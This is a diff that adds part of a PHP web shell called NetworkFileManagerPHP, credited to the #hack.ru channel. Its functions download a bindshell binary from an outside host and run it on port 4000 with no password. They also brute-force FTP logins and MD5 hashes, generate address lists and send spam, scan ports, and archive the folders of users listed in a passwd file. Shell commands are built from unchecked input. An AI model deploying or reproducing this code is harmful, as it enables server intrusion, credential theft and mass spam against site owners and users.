+}
+
+
+
+
+
+# new directory creation
+
+function newdir($dir) {
+
+ global $tm,$nd;
+
+ print(" ");
+
+}
+
+
+
+function cdir($dir) {
+
+ global $newd,$tm;
+
+ $fullpath = $dir."/".$newd;
+
+ if (file_exists($fullpath)) @rmdir($fullpath);
+
+ if (@mkdir($fullpath,0777)) {
+
+ echo " ";
+
+ } else {
+
+ echo "Error during directory creation.
";
+
+ }
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+// creation of directory where exploits will be situated
+
+function downfiles() {
+
+ global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2, $gdir,$gsub,$i,$j,$REMOTE_ADDR;
+
+$st = getcwd();
+
+ $st = str_replace("\\","/",$st);
+
+ $j = 0;
+
+ $gdir = array();
+
+ $gsub = array();
+
+ print(" ");
+
+ for ($i=0;$i<=(strlen($st)-1);$i++) {
+
+ if ($st[$i] != "/") {
+
+ $gdir[$j] = $gdir[$j].$st[$i];
+
+ $gsub[$j] = $gsub[$j].$st[$i];
+
+ } else {
+
+ $gdir[$j] = $gdir[$j]."/";
+
+ $gsub[$j] = $gsub[$j]."/";
+
+ $gdir[$j+1] = $gdir[$j];
+
+ $j++;
+
+ }
+
+ }
+
+print(" Path: ");
+
+ for ($i = 0;$i<=$j;$i++) print("$gsub[$i] ");
+
+print("
");
+
+
+
+echo " ";
+
+
+
+}
+
+
+
+# directory delete
+
+function deldir() {
+
+ global $dd,$tm;
+
+ $fullpath = $tm."/".$dd;
+
+ echo "Directory was deleted successfully.
";
+
+ rmdir($fullpath);
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# directory compression
+
+function arhiv() {
+
+ global $tar,$tm,$pass;
+
+ $fullpath = $tm."/".$tar;
+
+
+
+ echo "
+
+
+
+ Directory $fullpath ".exec("tar -zc $fullpath -f $pass.tar.gz")."was compressed to file $pass.tar.gz
";
+
+
+
+}
+
+
+
+function down($dir) {
+
+ global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2;
+
+ ignore_user_abort(1);
+
+ set_time_limit(0);
+
+echo "
+
+File upload
+
+There are many cases, when host, where NFM is situated WGET is blocked. And you may need to upload files anyway. So here you can do it without wget, upload file to path where the NFM is, or to any path you enter (seePath ).(this works not everywhere)
+
+
";
+
+
+
+if (!isset($status)) downfiles();
+
+
+
+else
+
+{
+
+
+
+$data = @implode("", file($file3));
+
+$fp = @fopen($file2, "wb");
+
+@fputs($fp, $data);
+
+$ok = @fclose($fp);
+
+if($ok)
+
+{
+
+$size = filesize($file2)/1024;
+
+$sizef = sprintf("%.2f", $size);
+
+
+
+print "You have uploaded: file $file2 with size (".$sizef."kb)
";
+
+}
+
+else
+
+{
+
+print " ";
+
+}
+
+}
+
+}
+
+
+
+# mail function
+
+function mailsystem() {
+
+ global $status,$form,$action,$name,$email,$pole,$REMOTE_ADDR,$HTTP_REFERER,$DOCUMENT_ROOT,$PATH_TRANSLATED,$HTTP_HOST;
+
+
+
+ echo "
+
+Questions and wishes for NetworkFileManagerPHP
+
+
+
+During your work with script NetworkFileManagerPHP you may want to ask some quetions, or advice author to add some functions, which are not supported yet. Write them here, and your request will be sattisfied.
+
+
+
+
";
+
+
+
+ if (!isset($status)) echo "$form";
+
+ else {
+
+ $email_to ="duyt@yandex.ru";
+
+ $subject = "NetworkFileManagerPHP ($name)";
+
+ $headers = "From: $email";
+
+
+
+ $info = "---==== Message from ($name)====---\n\n";
+
+ $info .= "Name:\t$name\n";
+
+ $info .= "Email:\t$email\n";
+
+ $info .= "What?:\n\t$pole\n\n";
+
+ $info .= "IP:\t$REMOTE_ADDR\n";
+
+ $info .= "HOST:\t$HTTP_HOST\n";
+
+ $info .= "URL:\t$HTTP_REFERER\n";
+
+ $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
+
+ $send_to = "$email_to";
+
+
+
+ $send = mail($send_to, $subject, $info, $headers);
+
+ if($send == 2) echo "Thank you!!!Your e-mail was sent successfully.
";
+
+ }
+
+}
+
+function spam() {
+global $chislo, $status, $from, $otvet, $wait, $subject, $body, $file, $check_box, $domen;
+set_time_limit(0);
+ignore_user_abort(1);
+echo "
+
+Real uniq spamer
+ Now, using this release of NFM you don't need to by spambases, because it will generate spambases by itself, with 50-60% valids.
+
";
+
+ echo "
+ ";
+// letters
+function s() {
+ $word="qwrtpsdfghklzxcvbnm";
+ return $word[mt_rand(0,strlen($word)-1)];
+}
+// letters
+function g() {
+ $word="eyuioa";
+ return $word[mt_rand(0,strlen($word)-2)];
+}
+// digits
+function c() {
+ $word="1234567890";
+ return $word[mt_rand(0,strlen($word)-3)];
+}
+// common
+function a() {
+ $word=array('wa','sa','da','qa','ra','ta','pa','fa','ga','ha','ja','ka','la','za','xa','ca','va','ba','na','ma');
+ $ab1=count($word);
+ return $wq=$word[mt_rand(0,$ab1-1)];
+}
+
+function o() {
+ $word=array('wo','so','do','qo','ro','to','po','fo','go','ho','jo','ko','lo','zo','xo','co','vo','bo','no','mo');
+ $ab2=count($word);
+ return $wq2=$word[mt_rand(0,$ab2-1)];
+}
+function e() {
+ $word=array('we','se','de','qe','re','te','pe','fe','ge','he','je','ke','le','ze','xe','ce','ve','be','ne','me');
+ $ab3=count($word);
+ return $wq3=$word[mt_rand(0,$ab3-1)];
+}
+
+function i() {
+ $word=array('wi','si','di','qi','ri','ti','pi','fi','gi','hi','ji','ki','li','zi','xi','ci','vi','bi','ni','mi');
+ $ab4=count($word);
+ return $wq4=$word[mt_rand(0,$ab4-1)];
+}
+function u() {
+ $word=array('wu','su','du','qu','ru','tu','pu','fu','gu','hu','ju','ku','lu','zu','xu','cu','vu','bu','nu','mu');
+ $ab5=count($word);
+ return $wq5=$word[mt_rand(0,$ab5-1)];
+}
+
+function name0() { return c().c().c().c(); }
+function name1() { return a().s(); }
+function name2() { return o().s(); }
+function name3() { return e().s(); }
+function name4() { return i().s(); }
+function name5() { return u().s(); }
+function name6() { return a().s().g(); }
+function name7() { return o().s().g(); }
+function name8() { return e().s().g(); }
+function name9() { return i().s().g(); }
+function name10() { return u().s().g(); }
+function name11() { return a().s().g().s(); }
+function name12() { return o().s().g().s(); }
+function name13() { return e().s().g().s(); }
+function name14() { return i().s().g().s(); }
+function name15() { return u().s().g().s(); }
+
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+$domain1=array('mail.ru','hotmail.com','aol.com','yandex.ru','rambler.ru','bk.ru','pochta.ru','mail333.com','yahoo.com','lycos.com','eartlink.com');
+$d1c=count($domain1);
+
+function randword() {
+ global $cool,$cool2;
+ $func="name".mt_rand(0,15);
+ $func2="name".mt_rand(0,15);
+ switch (mt_rand(0,2)) {
+ case 0: return $func().$func2();
+ case 1: return $func().$cool[mt_rand(0,count($cool)-9)];
+ case 2: return $func();
+ default: return $func();
+ }
+ }
+
+if (@unlink("email.txt") < 0){
+echo "ïóñòî";
+exit;
+}
+$file="email.txt";
+
+
+if($chislo){
+
+
+ $cnt3=mt_rand($chislo,$chislo);
+ for ($i=0; $i<$cnt3; $i++) {
+ $u=randword();
+ if(!isset($check_box)){
+
+ if ( IsSet($_POST["domen"]) && sizeof($_POST["domen"]) > 0 )
+{
+ $domen = $_POST["domen"];
+ foreach( $domen as $k=>$v )
+ {
+ $d=$domen[mt_rand(0,$v-1)];
+
+ }
+}
+$f=@fopen(email.".txt","a+");
+ fputs($f,"$u@$d\n");
+ }else{
+
+ $d=$domain1[mt_rand(0,$d1c-1)];
+ $f=@fopen(email.".txt","a+");
+ fputs($f,"$u@$d\n");
+ }
+
+ }
+ $address = $file;
+ if (@file_exists($address)) {
+ if($changefile = @fopen ($address, "r")) {
+ $success = 1;
+ } else {
+ echo " File not found \"".$address."\" ! ";
+ }
+
+ if ($success == 1) {
+ echo "";
+ echo " Ñãåíåðåííî âñåãî $chislo email. ";
+ echo " ";
+ echo "";
+ while($line = @fgets($changefile,1024)) {
+ echo @trim(stripslashes($line))."\n";
+ }
+ echo"
";
+ }
+ }
+
+if (!isset($action)){
+ echo "
+ ";
+}
+}
+}
+
+function spam1() {
+ global $status, $from, $otvet, $wait, $subject, $body, $file, $chislo;
+ set_time_limit(0);
+ignore_user_abort(1);
+
+ echo "
+Send spam with current settings
+
";
+
+
+ error_reporting(63); if($from=="") { print
+"";exit;}
+ error_reporting(63); if($otvet=="") { print
+"";exit;}
+ error_reporting(63); if($wait=="") { print
+"";exit;}
+ error_reporting(63); if($subject=="") { print
+"";exit;}
+ error_reporting(63); if($body=="") { print
+"";exit;}
+
+ $address = "email.txt";
+ $counter = 0;
+ if (!isset($status)) echo "something goes wrong, check your settings";
+ else {
+ echo "
+
+ opening file \"".$address."\" ...
+";
+ if (@file_exists($address)) {
+ echo "
+ File \"".$address."\" was found...
+";
+ if($afile = @fopen ($address, "r")) {
+ echo "
+ File \"".$address."\" was opened for read...
+";
+ } else {
+ echo "
+ Unable to open \"".$address."\" for read...
+";
+ }
+ } else {
+ echo "There is no file \"".$address."\" ! ";
+ $status = "unable to find file \"".$address."\" ...";
+ }
+ echo "
+ Begining read from file \"".$address."\" ...
+
";
+ if (@file_exists($address)) {
+
+ while (!feof($afile)) {
+
+ $line = fgets($afile, 1024);
+ $line = trim($line);
+ $recipient = "";
+ $recipient = $line;
+
+#if ($file) {
+# $content = fread(fopen($file,"r"),filesize($file));
+# $content = chunk_split(base64_encode($content));
+# $name = basename($file);
+# } else {
+# $content ='';
+# }
+ $boundary = uniqid("NextPart_");
+
+ $header = "From: ".$from."\r\n";
+ $header .= "Reply-To: ".$otvet."\r\n";
+ $header .= "Errors-To: ".$otvet."\r\n";
+ $header .= "X-Mailer: MSOUTLOOK / ".phpversion()."\r\n";
+ $header .= "Content-Transfer-Encoding: 8bits\n";
+ $header .= "Content-Type: text/html; charset=\"windows-1251\"\n\n";
+ $header .= $body;
+ # $header .="--$boundary\nContent-type: text/html; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$content\n\n--$boundary--";
+
+
+ $pattern="#^[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+";
+ $pattern.="@";
+ $pattern.="[-!\#$%&\"*+\\/\d=?A-Z^_|'a-z{|}~]+\.";
+ $pattern.="[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+$#";
+
+ if($recipient != "")
+ {
+ if(preg_match($pattern,$recipient))
+ {
+ echo "
+
+ Sending mail to \"".$recipient."\" ...sent ";
+
+
+ if(@mail($recipient, stripslashes($subject), stripslashes($header))) {
+ $counter = $counter + 1;
+ echo "[\"".$counter."\"] ".date("H:i:s")."
";
+ } else {
+ echo "email is wrong, message was NOT sent ! ";
+ }
+ } else {
+ $counter = $counter + 1;
+ echo "";
+ }
+ } else {
+ echo " ";
+ }
+ $sec = $wait * 1000000;
+ usleep($sec);
+
+ }
+
+ if($otvet != "")
+ {
+
+ if(preg_match($pattern,$otvet))
+ {
+ echo "
+ Sending test message to \"".$otvet."\" to check out";
+ $subject = "".$subject;
+
+ if(@mail($otvet, stripslashes($subject), stripslashes($message), stripslashes($header))) {
+ $counter = $counter + 1;
+ echo " message was sent... [\"".$counter."\"] ".date("H:i:s")."
";
+ } else {
+ echo "message was not sent... ";
+ }
+ } else {
+ echo "email is wrong. ";
+ }
+ } else {
+ }
+
+ if(@fclose ($afile)) {
+ echo "
+
+ File \"".$address."\" was closed successfully!
";
+ } else {
+ echo "
+
+ Unable to close \"".$address."\" file!
"; }
+ } else {
+ echo "unable to read file \"".$afile."\" ... ";
+ }
+
+ $status2 ="Status: ".$counter." messages were sent.";
+ echo " ";
+ echo "
+ ";
+
+}
+}
+
+
+# help
+
+function help() {
+
+ global $action,$REMOTE_ADDR,$HTTP_REFERER;
+
+ echo "
+
+
+
+help for scriptNetworkFileManagerPHP
+
+NetworkFileManagerPHP - script to access your host in a best way
+
+There were added some commands to NFM, from scripts kind of itself. They are:
+
+- Using aliases (Rush )
+
+- FTP bruteforce (TerraByte )
+
+- Translated to english by (revers )
+
+- Added some sysinfo commands by (revers )
+
+- All the rest code belongs to me (xoce )
+
+- Thanks for testing goes to all #hack.ru channel
+
+Warning, we wanted to show by this script, that admins have to protect their system better, then they do now. Jokes with apache config are not good... Pay more attention to configuration of your system.
+
+How can you find us:
+
+Irc server: irc.megik.net:6667 /join #hack.ru
+
+See you round at network!!!
";
+
+}
+
+
+
+
+
+function exploits($dir) {
+
+ global $action,$status, $file3,$file2,$tm,$PHP_SELF,$HTTP_HOST,$style_button, $public_site, $private_site, $private, $public, $title_ex, $title_exp;
+
+if (!isset($status)) upload_exploits();
+
+
+
+else
+
+{
+
+
+
+$data = implode("", file($file3));
+
+$fp = @fopen($file2, "wb");
+
+fputs($fp, $data);
+
+$ok = fclose($fp);
+
+if($ok)
+
+{
+
+$size = filesize($file2)/1024;
+
+$sizef = sprintf("%.2f", $size);
+
+print "".exec("chmod 777 $public[1]")."";
+
+print "".exec("chmod 777 $public[2]")."";
+
+print "".exec("chmod 777 $public[3]")."";
+
+print "".exec("chmod 777 $private[1]")."";
+
+print "".exec("chmod 777 $private[2]")."";
+
+print "".exec("chmod 777 $private[3]")."";
+
+print "".exec("chmod 777 $private[4]")."";
+
+print "".exec("chmod 777 $private[5]")."";
+
+print "".exec("chmod 777 $private[6]")."";
+
+print "".exec("chmod 777 $private[7]")."";
+
+print "".exec("chmod 777 $private[8]")."";
+
+
+
+print "You have uploaded: file with size (".$sizef."kb)
";
+
+}
+
+else
+
+{
+
+print "Some errors occured.";
+
+}
+
+}
+
+}
+
+
+
+
+
+# FTP-bruteforce
+
+function ftp() {
+
+ global $action, $ftp_server, $filename, $HTTP_HOST;
+
+ ignore_user_abort(1);
+
+ echo "FTP server: $ftp_server ";
+
+
+
+ $fpip = @fopen ($filename, "r");
+
+ if ($fpip) {
+
+ while (!feof ($fpip)) {
+
+ $buf = fgets($fpip, 100);
+
+ ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+
+ $conn_id=ftp_connect($ftp_server);
+
+ if (($conn_id) && (@ftp_login($conn_id, $g[1], $g[1]))) {
+
+
+
+ $f=@fopen($HTTP_HOST,"a+");
+
+ fputs($f,"$g[1]:$g[1]\n");
+
+ echo "Connected with login:password - ".$g[1].":".$g[1]."
";
+
+
+
+ ftp_close($conn_id);
+
+ fclose($f);
+
+ } else {
+
+ echo "".$g[1].":".$g[1]." - failed
";
+
+ }
+
+ }
+
+ }
+
+}
+
+
+
+function tar() {
+
+ global $action, $filename;
+
+ set_time_limit(0);
+
+ echo "
+
+
+
+Data compression
+
+According to the different settings of servers, I didn't make default config of NFM. You're to write full path to the domain's folder and then press enter, so all data, containing in this folder will be compressed to tar.gz.
+
+Warning! File passwd can have big size, so opening all users of this host can waste much time.
+
+It's highly recommended! Open current function in another window of browser, to compress information, which you're interested in, during your host exploring.
+
+
";
+
+
+
+$http_public="/public_html/";
+
+$fpip = @fopen ($filename, "r");
+
+if ($fpip) {
+
+ while (!feof ($fpip)) {
+
+ $buf = fgets($fpip, 100);
+
+ ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+
+ $name=$g[1];
+
+ echo "
+
+";
+
+ }
+
+ }
+
+}
+
+
+
+# bindshell
+
+function bash() {
+
+ global $action, $port_bind, $pass_key;
+
+
+
+echo "
+
+
+
+Binding shell
+
+ Current shell binds 4000 port, you may access to it by telneting to host:4000 port without password.
+
+
";
+
+
+
+echo "
+
+
+
+ Bindshell binary is situated in file calleds ";
+
+
+
+echo " ".exec("wget http://hackru.info/adm/exploits/bash/s")." Downloading... ";
+
+echo " ".exec("chmod 777 s")." now chmod to 777 ";
+
+echo " ".exec("./s")." now running to 4000 port ";
+
+# echo " ".exec("rm -f s")." Removing files now... ";
+
+echo"
";
+
+
+
+ }
+
+
+
+function crypte() {
+
+ global $action,$md5a,$sha1a,$crc32, $key,$string;
+
+echo "
+
+
+
+Data crypter
+
+Now there are many different programs and scripts, which uses a lot of passwords crypt methods (Do you remember what a phpBB is?=)), so with NFM you can crypt some strings to hashes, because sometimes you may need to change somebodyes data with your one =). Also you may change your pass to NFM here.
+
+
";
+
+
+
+echo "
+
+ ";
+
+ echo "
+
+ ";
+
+echo "
+
+ ";
+
+
+
+ }
+
+
+
+function decrypte() {
+
+ global $action,$pass_de,$chars_de,$dat,$date;
+
+set_time_limit(0);
+
+ignore_user_abort(1);
+
+
+
+echo "
+
+
+
+Data decrypter
+
+It's known all over the world, that MD5 crypt algorithm has no way to decrypt it, because it uses hashes. The one and only one way to try read what the hash is - to generate some hashes and then to compare them with source hash needed to be decrypted ... So this is bruteforce.
+
+
";
+
+
+
+if($chars_de==""){$chars_de="";}
+
+ echo "
+
+ ";
+
+
+
+
+
+if($_POST[pass_de]){
+
+$pass_de=htmlspecialchars($pass_de);
+
+$pass_de=stripslashes($pass_de);
+
+$dat=date("H:i:s");
+
+$date=date("d:m:Y");
+
+
+
+crack_md5();
+
+}
+
+}
+
+
+
+function crack_md5() {
+
+global $chars_de;
+
+$chars=$_POST[chars];
+
+set_time_limit(0);
+
+ignore_user_abort(1);
+
+$chars_de=str_replace("<",chr(60),$chars_de);
+
+$chars_de=str_replace(">",chr(62),$chars_de);
+
+$c=strlen($chars_de);
+
+for ($next = 0; $next <= 31; $next++) {
+
+for ($i1 = 0; $i1 <= $c; $i1++) {
+
+$word[1] = $chars_de{$i1};
+
+for ($i2 = 0; $i2 <= $c; $i2++) {
+
+$word[2] = $chars_de{$i2};
+
+if ($next <= 2) {
+
+result(implode($word));
+
+}else {
+
+for ($i3 = 0; $i3 <= $c; $i3++) {
+
+$word[3] = $chars_de{$i3};
+
+if ($next <= 3) {
+
+result(implode($word));
+
+}else {
+
+for ($i4 = 0; $i4 <= $c; $i4++) {
+
+$word[4] = $chars_de{$i4};
+
+if ($next <= 4) {
+
+result(implode($word));
+
+}else {
+
+for ($i5 = 0; $i5 <= $c; $i5++) {
+
+$word[5] = $chars_de{$i5};
+
+if ($next <= 5) {
+
+result(implode($word));
+
+}else {
+
+for ($i6 = 0; $i6 <= $c; $i6++) {
+
+$word[6] = $chars_de{$i6};
+
+if ($next <= 6) {
+
+result(implode($word));
+
+}else {
+
+for ($i7 = 0; $i7 <= $c; $i7++) {
+
+$word[7] = $chars_de{$i7};
+
+if ($next <= 7) {
+
+result(implode($word));
+
+}else {
+
+for ($i8 = 0; $i8 <= $c; $i8++) {
+
+$word[8] = $chars_de{$i8};
+
+if ($next <= 8) {
+
+result(implode($word));
+
+}else {
+
+for ($i9 = 0; $i9 <= $c; $i9++) {
+
+$word[9] = $chars_de{$i9};
+
+if ($next <= 9) {
+
+result(implode($word));
+
+}else {
+
+for ($i10 = 0; $i10 <= $c; $i10++) {
+
+$word[10] = $chars_de{$i10};
+
+if ($next <= 10) {
+
+result(implode($word));
+
+}else {
+
+for ($i11 = 0; $i11 <= $c; $i11++) {
+
+$word[11] = $chars_de{$i11};
+
+if ($next <= 11) {
+
+result(implode($word));
+
+}else {
+
+for ($i12 = 0; $i12 <= $c; $i12++) {
+
+$word[12] = $chars_de{$i12};
+
+if ($next <= 12) {
+
+result(implode($word));
+
+}else {
+
+for ($i13 = 0; $i13 <= $c; $i13++) {
+
+$word[13] = $chars_de{$i13};
+
+if ($next <= 13) {
+
+result(implode($word));
+
+}else {
+
+for ($i14 = 0; $i14 <= $c; $i14++) {
+
+$word[14] = $chars_de{$i14};
+
+if ($next <= 14) {
+
+result(implode($word));
+
+}else {
+
+for ($i15 = 0; $i15 <= $c; $i15++) {
+
+$word[15] = $chars_de{$i15};
+
+if ($next <= 15) {
+
+result(implode($word));
+
+}else {
+
+for ($i16 = 0; $i16 <= $c; $i16++) {
+
+$word[16] = $chars_de{$i16};
+
+if ($next <= 16) {
+
+result(implode($word));
+
+}else {
+
+for ($i17 = 0; $i17 <= $c; $i17++) {
+
+$word[17] = $chars_de{$i17};
+
+if ($next <= 17) {
+
+result(implode($word));
+
+}else {
+
+for ($i18 = 0; $i18 <= $c; $i18++) {
+
+$word[18] = $chars_de{$i18};
+
+if ($next <= 18) {
+
+result(implode($word));
+
+}else {
+
+for ($i19 = 0; $i19 <= $c; $i19++) {
+
+$word[19] = $chars_de{$i19};
+
+if ($next <= 19) {
+
+result(implode($word));
+
+}else {
+
+for ($i20 = 0; $i20 <= $c; $i20++) {
+
+$word[20] = $chars_de{$i20};
+
+if ($next <= 20) {
+
+result(implode($word));
+
+}else {
+
+for ($i21 = 0; $i21 <= $c; $i21++) {
+
+$word[21] = $chars_de{$i21};
+
+if ($next <= 21) {
+
+result(implode($word));
+
+}else {
+
+for ($i22 = 0; $i22 <= $c; $i22++) {
+
+$word[22] = $chars_de{$i22};
+
+if ($next <= 22) {
+
+result(implode($word));
+
+}else {
+
+for ($i23 = 0; $i23 <= $c; $i23++) {
+
+$word[23] = $chars_de{$i23};
+
+if ($next <= 23) {
+
+result(implode($word));
+
+}else {
+
+for ($i24 = 0; $i24 <= $c; $i24++) {
+
+$word[24] = $chars_de{$i24};
+
+if ($next <= 24) {
+
+result(implode($word));
+
+}else {
+
+for ($i25 = 0; $i25 <= $c; $i25++) {
+
+$word[25] = $chars_de{$i25};
+
+if ($next <= 25) {
+
+result(implode($word));
+
+}else {
+
+for ($i26 = 0; $i26 <= $c; $i26++) {
+
+$word[26] = $chars_de{$i26};
+
+if ($next <= 26) {
+
+result(implode($word));
+
+}else {
+
+for ($i27 = 0; $i27 <= $c; $i27++) {
+
+$word[27] = $chars_de{$i27};
+
+if ($next <= 27) {
+
+result(implode($word));
+
+}else {
+
+for ($i28 = 0; $i28 <= $c; $i28++) {
+
+$word[28] = $chars_de{$i28};
+
+if ($next <= 28) {
+
+result(implode($word));
+
+}else {
+
+for ($i29 = 0; $i29 <= $c; $i29++) {
+
+$word[29] = $chars_de{$i29};
+
+if ($next <= 29) {
+
+result(implode($word));
+
+}else {
+
+for ($i30 = 0; $i30 <= $c; $i30++) {
+
+$word[30] = $chars_de{$i30};
+
+if ($next <= 30) {
+
+result(implode($word));
+
+}else {
+
+for ($i31 = 0; $i31 <= $c; $i31++) {
+
+$word[31] = $chars_de{$i31};
+
+if ($next <= 31) {
+
+result(implode($word));
+
+
+
+}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
+
+
+
+function result($word) {
+
+global $dat,$date;
+
+$pass_de=$_POST[pass_de];
+
+$dat2=date("H:i:s");
+
+$date2=date("d:m:Y");
+
+
+
+if(md5($word)==$pass_de){
+
+print "
+
+
+
+ Brutefrcing result:
+
+ crypted Hash: $word
+
+ Bruteforce start: $dat - $date
+
+ Bruteforce finish: $dat2 - $date2
+
+ result was wrote to file: ".$word."_md5
+
+
+
+ ";
+
+ $f=@fopen($word._md5,"a+");
+
+ fputs($f,"Decrypted MD5 hash [$pass_de] = $word\nBruteforce start:\t$dat - $date\Bruteforce finish:\t$dat2 - $date2\n ");
+
+ exit;}
+
+
+
+
+
+
+
+}
+
+
+
+function brut_ftp() {
+
+ global $action,$private_site, $title_exp,$login, $host, $file, $chislo, $proverka;
+
+set_time_limit(0);
+
+ignore_user_abort(1);
+
+echo "
+
+
+
+FTP bruteforce
+This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload .
+
+
";
+
+
+
+ echo "
+
+ ";
+
+
+
+
+
+function s() {
+
+ $word="qwrtypsdfghjklzxcvbnm";
+
+ return $word[mt_rand(0,strlen($word)-1)];
+
+}
+
+
+
+function g() {
+
+ $word="euioam";
+
+ return $word[mt_rand(0,strlen($word)-2)];
+
+}
+
+
+
+function name0() { return s().g().s(); }
+
+function name1() { return s().g().s().g(); }
+
+function name2() { return s().g().g().s(); }
+
+function name3() { return s().s().g().s().g(); }
+
+function name4() { return g().s().g().s().g(); }
+
+function name5() { return g().g().s().g().s(); }
+
+function name6() { return g().s().s().g().s(); }
+
+function name7() { return s().g().g().s().g(); }
+
+function name8() { return s().g().s().g().g(); }
+
+function name9() { return s().g().s().g().s().g(); }
+
+function name10() { return s().g().s().s().g().s().s(); }
+
+function name11() { return s().g().s().s().g().s().s().g(); }
+
+
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+
+$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker');
+
+
+
+function randword() {
+
+ global $cool;
+
+ $func="name".mt_rand(0,11);
+
+ $func2="name".mt_rand(0,11);
+
+ switch (mt_rand(0,11)) {
+
+ case 0: return $func().mt_rand(5,99);
+
+ case 1: return $func()."-".$func2();
+
+ case 2: return $func().$cool[mt_rand(0,count($cool)-1)];
+
+ case 3: return $func()."!".$func();
+
+ case 4: return randpass(mt_rand(5,12));
+
+ default: return $func();
+
+ }
+
+
+
+
+
+}
+
+
+
+function randpass($len) {
+
+ $word="qwertyuiopasdfghjklzxcvbnm1234567890";
+
+ $s="";
+
+ for ($i=0; $i<$len; $i++) {
+
+ $s.=$word[mt_rand(0,strlen($word)-1)];
+
+ }
+
+ return $s;
+
+}
+
+if (@unlink("pass.txt") < 0){
+
+echo "nothing";
+
+exit;
+
+}
+
+$file="pass.txt";
+
+if($file && $host && $login){
+
+ $cn=mt_rand(30,30);
+
+for ($i=0; $i<$cn; $i++) {
+
+ $s=$cool2[$i];
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$s\n");
+
+ }
+
+
+
+ $cnt2=mt_rand(43,43);
+
+for ($i=0; $i<$cnt2; $i++) {
+
+ $r=$cool[$i];
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$login$r\n");
+
+}
+
+$p="$proverka";
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$p\n");
+
+
+
+ $cnt3=mt_rand($chislo,$chislo);
+
+ for ($i=0; $i<$cnt3; $i++) {
+
+ $u=randword();
+
+ $f=@fopen(pass.".txt","a+");
+
+ fputs($f,"$u\n");
+
+ }
+
+
+
+ if(is_file($file)){
+
+ $passwd=file($file,1000);
+
+ for($i=0; $i
+
+Congratulations! Password is known now.
+
+ Connected to: $host with login: $login with password: $password
+
+";exit;
+
+ }
+
+ elseif(preg_match("/530/",$text)){
+
+ $stop=true;
+
+
+
+ }
+
+ }
+
+ fclose($open_ftp);
+
+ }else{
+
+ echo "
+
+
+
+FTP is incorrect!!! At $host 21 port is closed! check your settings
+
+
+
+";exit;
+
+ }
+
+ }
+
+ }
+
+}
+
+
+
+}
+
+
+
+# port scanner
+
+function portscan() {
+
+ global $action,$portscan,$port,$HTTP_HOST,$min,$max;
+
+
+
+ $mtime = explode(" ",microtime());
+
+ $mtime = $mtime[1] + $mtime[0];
+
+ $time1 = $mtime;
+
+
+
+ $id = $HTTP_HOST;
+
+ echo "Scan results: $idScanning host to find any reachable and open ports" . "...
";
+
+
+
+ $lport = $min;
+
+ $hport = $max;
+
+ $op = 0;
+
+ $gp = 0;
+
+
+
+ for ($porta=$lport; $porta<=$hport; $porta++) {
+
+ $fp = @fsockopen("$id", $porta, &$errno, &$errstr, 4);
+
+ if ( !$fp ) { $gp++; }
+
+ else {
+
+ $port_addres = $port[$porta];
+
+ if($port_addres == "") $port_addres = "unknown";
+
+ $serv = getservbyport($porta, TCP);
+
+ echo "Port:$porta / $serv $port_addres (What's the service is? ) ";
+
+ $op++;
+
+ }
+
+ }
+
+
+
+ if($op == 0) echo "Current host seems don't have any open port...hmm, but you're connected to it to 80...check out firewall
";
+
+
+
+ $unsi = ($op/$porta)*100;
+
+ $unsi = round($unsi);
+
+
+
+ echo "Scan statistics: ";
+
+ echo "Scanned ports: $porta ";
+
+ echo "Open ports: $op ";
+
+ echo "Closed ports: $gp ";
+
+
+
+ $mtime = explode(" ",microtime());
+
+ $mtime = $mtime[1] + $mtime[0];
+
+ $time2 = $mtime;
+
+ $loadtime = ($time2 - $time1);
+
+ $loadtime = round($loadtime, 2);
+
+
+
+ echo "Scan time: $loadtime seconds
";
+
+}
+
+
+
+function nfm_copyright() {
+
+global $action,$upass,$uname,$nfm;
+
+ return "Powered by channel #hack.ru (author xoce). Made In Russia
";
+
+
+
+}
+
+// =-=-=-=-= SQL MODULE =-=-=-=-=
+
+// SQL functions start
+
+function aff_date() {
+
+ $date_now=date("F j,Y,g:i a");
+
+ return $date_now;
+
+}
+
+
+
+function sqldumptable($table) {
+
+ global $sv_s,$sv_d,$drp_tbl;
+
+ $tabledump = "";
+
+ if ($sv_s) {
+
+ if ($drp_tbl) { $tabledump.="DROP TABLE IF EXISTS $table;\n"; }
+
+ $tabledump.="CREATE TABLE $table (\n";
+
+ $firstfield=1;
+
+ $champs=mysql_query("SHOW FIELDS FROM $table");
+
+ while ($champ=mysql_fetch_array($champs)) {
+
+ if (!$firstfield) { $tabledump.=",\n"; }
+
+ else { $firstfield=0;}
+
+ $tabledump.=" $champ[Field] $champ[Type]";
+
